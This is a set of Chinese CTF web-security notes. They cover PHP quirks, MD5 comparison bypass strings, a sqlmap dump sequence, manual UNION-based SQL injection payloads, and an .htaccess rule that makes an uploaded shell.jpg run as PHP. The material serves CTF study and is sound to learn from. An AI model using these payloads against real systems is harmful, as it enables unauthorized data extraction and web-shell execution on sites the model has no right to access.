• CTF WEB笔记


    域名解析

    C:WindowsSystem32driversetc


    文件包含漏洞利用

    Web安全实战系列:文件包含漏洞


    正则表达式

    正则表达式

    代码语法 说明
    . 匹配除换行符以外的任意字符
    w 匹配字母或数字
    s 匹配任意的空白符
    d 匹配数字
     匹配单词的开始或结束
    ^ 匹配字符串的开始
    $ 匹配字符串的结束

    拼图

        montage *.jpg -tile MxN -geometry axb+0+0 out.jpg    (合成一张大图)
    
        将目录中的jpg文件按顺序拼成x轴M块,y轴N块,每个图块大小为axb像素,输出文件为out.jpg    
    
        gaps --image=out.jpg --generations=50 --population=120 --size=50   (拼图)
        
        --image            指向拼图的路径
        --size            拼图块的像素尺寸
        --generations    遗传算法的代的数量
        --population    个体数量
        --verbose        每一代训练结束后展示最佳结果
        --save            将拼图还原为图像
    

    PHP中的全局变量global和$GLOBALS的区别

    • globle
      ​ Global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include 或require的所有文件。

    • $GLOBALS
       在 $GLOBALS 数组中,每一个变量为一个元素,键名对应变量名,值对应变量的内容。$GLOBALS 之所以在全局范围内存在,是因为 $GLOBALS 是一个超全局变量。注意$GLOBALS 的写法,比如变量$a1,写法为$GLOBALS['a1']。
       $GLOBALS [一个包含了全部变量的全局组合数组]

    function test_global() 
    { 
    global $var1, $var2; 
    $var2 =& $var1; 
    } 
    function test_globals() 
    { 
    $GLOBALS['var3'] =& $GLOBALS['var1']; 
    } 
    $var1 = 5; 
    $var2 = $var3 = 0; 
    
    test_global(); 
    print $var2; //输出结果为0
    
    test_globals(); 
    print $var3; //输结果为05
    

    Disearch

                  python D:filedirsearchdirsearch.py -u http://148.70.62.239:10091/ -e *
    

    MD5漏洞

    1. 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
    
    下列的字符串的MD5值都是0e开头的:
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
    
    
    2. md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
    

    SQL注入

    md5($password,true)

    sql注入中 该函数的输出是原始二进制格式,会被作为字符串处理。因此我们希望构建一个字符串,这个字符串经过md5加密后输出的原始二进制(作为字符串处理)刚好是注入语句。
    要让md5($password,true) 编码后 二进制转字符串为  'or 'xxx
    这样sql 为    and password=''or'xx'   ''or'xx'=true    这样查询结果为真
    生成md5('key',true)二进制序列化为'or'开头的有:
    e58  
    ffifdyop  
    129581926211651571912466741651878684928
    

    sqlmap

    POST型

    1. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id --current-db
    2. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag
    3. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag --tables
    4. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g --columns
    5. python /usr/share/sqlmap/sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C "skctf_flag" --dump
    
    sql手动注入
    第一步:判断环境,寻找注入点
      确定注入点:用’报错就有注入的希望 and 1=1 正常 and 1=2 报错就基本能注入
    第二步:猜解字段
      ' order by 3 # 
    第三步:联合查询
      0' union select 1,2,3,4#
    第四步:爆表
        0' union select 1,database(),user(),version()#
      
       [查表名] id=0' union select 1,(select group_concat(table_name) from information_schema.tables wheretable_schema=database()),user(),version()#           
      
       [查列名]id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='表名‘),user(),version()#           
      
       [查数据]id=0' union select 1,(select 列名 from 表名),user(),version()#         
    

    file_get_contents($fn)

    file_get_contents功能是从文件名为“$fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值


    htaccess文件解析

    如果Apache中.htaccess可被执行并可被上传,那么可以尝试在.htaccess中写入:

    <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    

    然后再上传shell.jpg的木马,这样shell.jpg就可被解析为PHP文件了。

  • 相关阅读:
    1203 有穷自动机
    1111 评论
    C语言文法 改
    用户调研
    阅读《构建之法》 第8 第9 第10章
    sprint冲刺(第二天)
    sprint初步计划(第一天)
    作业6 团队项目之需求
    作业5 四则运算 测试与封装 5.1 5.2
    作业5 四则运算 测试与封装 5.1
  • 原文地址:https://www.cnblogs.com/NPFS/p/12653450.html
Copyright © 2020-2023  润新知